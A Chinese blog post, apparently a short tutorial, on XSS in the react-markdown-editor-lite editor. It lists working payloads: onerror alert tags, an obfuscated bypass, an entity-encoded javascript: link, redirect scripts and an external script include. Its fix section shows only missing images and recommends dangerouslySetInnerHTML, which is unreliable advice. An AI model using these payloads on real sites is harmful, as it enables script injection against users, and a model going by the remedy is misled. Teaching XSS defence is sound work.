react markdown输入xss代码到markdown输入框中会执行xss代码

Markdown XSS攻击案例与防御

在这里插入图片描述

我用的是这个插件,但是不管是什么markdown插件,原理都是一样的,我就以这个为例子了哈!
大家可以点击下方链接中测试下面的xss代码。
https://harrychen0506.github.io/react-markdown-editor-lite/

使用以下xss代码输入到markdown输入框中会执行xss代码:
1、触发弹窗:
(1)<img src="x" onerror="alert(55555)">

(2)通过拼接法绕过形式:<img src="x" onerror="parent[`al`+`ert`](55555)">

2、生成可点击跳转的的样式,用户点击后发生跳转:
[XSS](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)

3、网页跳转,等同于任意url跳转:输入后进入该页面自动发生跳转
<script>window.location.href="https://www.baidu.com"</script>
<meta content="1;http://www.baidu.com/" http-equiv="refresh">

4、其它标签payload触发弹窗:
<img src="" onerror="alert(1)">
<iframe src=javascript:alert(1)>
<svg><x><script>alert(1)</x>

5、IMG标签XSS使用JavaScript命令
<IMG SRC=http://3w.org/XSS/xss.js/>

6、URL绕行
<A HREF="http://127.0.0.1/">XSS</A>

举例一个,运行出来就是下方这样的
在这里插入图片描述
现在就来说怎么解决哈:

第一步:将html设置为false

在这里插入图片描述

第二步:使用dangerouslySetInnerHTML

在这里插入图片描述

希望可以帮助到大家!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值